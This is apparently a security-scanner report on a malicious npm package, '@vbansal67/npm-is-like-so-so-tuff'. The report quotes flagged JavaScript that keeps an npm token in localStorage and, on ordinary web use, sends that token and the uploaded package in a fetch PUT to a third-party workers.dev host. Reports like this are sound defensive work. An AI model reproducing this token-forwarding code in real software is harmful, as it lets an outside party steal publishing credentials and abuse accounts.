Skip to main content

Threat feed How it works Policy

Threat feed How it works Policy

Loading npm security reports…

@vbansal67/npm-is-like-so-so-tuff@1.0.0: Malicious npm security | LPM Firewall

Skip to main content

Threat feed How it works Policy

Threat feed How it works Policy

Blocked & quarantined

The worker can receive the user's NPM publishing credential and uploaded package contents, enabling account abuse or package theft.

View on npm All versions

registry / @vbansal67/npm-is-like-so-so-tuff / 1.0.0

@vbansal67/npm-is-like-so-so-tuff@1.0.0

Web

AI Security Review

scanned 25d ago · by lpm-firewall-ai

The package is a browser-based publisher that sends an NPM bearer token and selected upload content to a third-party worker during normal web use. It also embeds a credential in its HTML.

Static reason

No blocking static signals were detected.

Trigger

A user opens the HTML, selects a file, and clicks Publish Link.

Impact

The worker can receive the user's NPM publishing credential and uploaded package contents, enabling account abuse or package theft.

Mechanism

Bearer-token and package-payload forwarding through a third-party worker.

Attack narrative

When a user clicks the publisher button, the code packages the selected file and sends it with an Authorization bearer token. In a regular web context, the destination is a third-party workers.dev host rather than registry.npmjs.org. This gives the third party both the credential and the upload payload. The HTML also embeds an NPM credential, indicating unsafe credential handling.

AI rationale

This is concrete credential and data exfiltration through a third-party endpoint during the advertised publishing flow. The absence of an install hook does not neutralize the user-triggered token forwarding.

Evidence

app.jsindex.html

Network endpoints2

dawn-salad-6ee1.vihaanb0715.workers.devregistry.npmjs.org

Decision evidence

Stop threats before they install.

Firewall

Threat feed
How it works
Policy

LPM

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The browser publisher collects an NPM authentication token and retains entered tokens in local storage.
On ordinary web use, it routes publishing requests to a third-party worker rather than the NPM registry.
The request sends the bearer token and complete uploaded package payload to that worker.
The page contains a prefilled NPM-token input, exposing a credential in package source.

Evidence against

package.json has no preinstall, install, or postinstall hook.
The network request requires a user to choose a file and click the publish button.

Behavioral surface

Source

Network

Supply chain

UrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 6.53 KB of source, external domains: dawn-salad-6ee1.vihaanb0715.workers.dev, registry.npmjs.org, unpkg.com

Source & flagged code

5 flagged · loading source

index.htmlView file

•stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

index.htmlView on unpkg

79<div class="field"> <label for="npmToken">NPM Auth Token</label> <input type="password" id="npmToken" value="npm[redacted]" placeholder="npm[redacted]"> </div>

High

Ai Review Evidence

The page contains a prefilled NPM-token input, exposing a credential in package source.

index.htmlView on unpkg · L79

app.jsView file

7const savedToken = localStorage.getItem('npm_auth_token'); if (savedToken) { tokenInput.value = savedToken; } tokenInput.addEventListener('input', () => { localStorage.setItem('npm_auth_token', tokenInput.value.trim()); });

High

Ai Review Evidence

The browser publisher collects an NPM authentication token and retains entered tokens in local storage.

app.jsView on unpkg · L7

149const isNativeApp = window.Capacitor?.isNativePlatform() || window.location.protocol === 'file:'; const cleanWorkerUrl = WORKER_URL.replace(/\/+$/, ''); const encodedPackageName = packageName.replace('/', '%2F'); const finalEndpoint = isNativeApp ? `https://registry.npmjs.org/${encodedPackageName}` : `${cleanWorkerUrl}/${encodedPackageName}`;

High

Ai Review Evidence

On ordinary web use, it routes publishing requests to a third-party worker rather than the NPM registry.

app.jsView on unpkg · L149

176const response = await fetch(finalEndpoint, { method: 'PUT', headers: { 'Authorization': `Bearer ${token}`, 'Content-Type': 'application/json' }, body: JSON.stringify(payload) });

High

Ai Review Evidence

The request sends the bearer token and complete uploaded package payload to that worker.

app.jsView on unpkg · L176

Findings

5 High1 Medium2 Low

HighSemantic Analysis Limitedindex.html

HighAi Review Evidenceapp.js

HighAi Review Evidenceapp.js

HighAi Review Evidenceapp.js

HighAi Review Evidenceindex.html

MediumNetwork

LowScripts Present

LowUrl Strings

Affected versions and remediation

This report applies to @vbansal67/npm-is-like-so-so-tuff@1.0.0.

See version security history for other recorded verdicts.

Avoid installing @vbansal67/npm-is-like-so-so-tuff@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-14 03:45:07.191Z (UTC).

99%Malicious

AI assessment confidence

IntentMalware

TypeCredential Exfiltration

False-positive riskLow

Review stagesource_first_review

Firewall policyMatched malicious

Package metadata

npm

Version1.0.0

PublishedSep 11, 2026

LicenseMIT

Dependencies0

Integrityverified

Package size3.37 KB

Files3

Runtime surface

package.json

Entrypointsmain → index.html

RuntimeNo engine / OS / CPU constraints

Artifact9.46 KB · 3 files1 signature(s)

Install lifecycleNo install hooks · other: test

Behavioral surface

NetworkUrlStringsManifest: clean

LPM.dev Registry

© 2026 LPM

Source & flagged code

5 flagged

index.htmlView file

•stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

index.htmlView on unpkg

79<div class="field"> <label for="npmToken">NPM Auth Token</label> <input type="password" id="npmToken" value="npm[redacted]" placeholder="npm[redacted]"> </div>

High

Ai Review Evidence

The page contains a prefilled NPM-token input, exposing a credential in package source.

index.htmlView on unpkg · L79

app.jsView file

7const savedToken = localStorage.getItem('npm_auth_token'); if (savedToken) { tokenInput.value = savedToken; } tokenInput.addEventListener('input', () => { localStorage.setItem('npm_auth_token', tokenInput.value.trim()); });

High

Ai Review Evidence

The browser publisher collects an NPM authentication token and retains entered tokens in local storage.

app.jsView on unpkg · L7

149const isNativeApp = window.Capacitor?.isNativePlatform() || window.location.protocol === 'file:'; const cleanWorkerUrl = WORKER_URL.replace(/\/+$/, ''); const encodedPackageName = packageName.replace('/', '%2F'); const finalEndpoint = isNativeApp ? `https://registry.npmjs.org/${encodedPackageName}` : `${cleanWorkerUrl}/${encodedPackageName}`;

High

Ai Review Evidence

On ordinary web use, it routes publishing requests to a third-party worker rather than the NPM registry.

app.jsView on unpkg · L149

176const response = await fetch(finalEndpoint, { method: 'PUT', headers: { 'Authorization': `Bearer ${token}`, 'Content-Type': 'application/json' }, body: JSON.stringify(payload) });

High

Ai Review Evidence

The request sends the bearer token and complete uploaded package payload to that worker.

app.jsView on unpkg · L176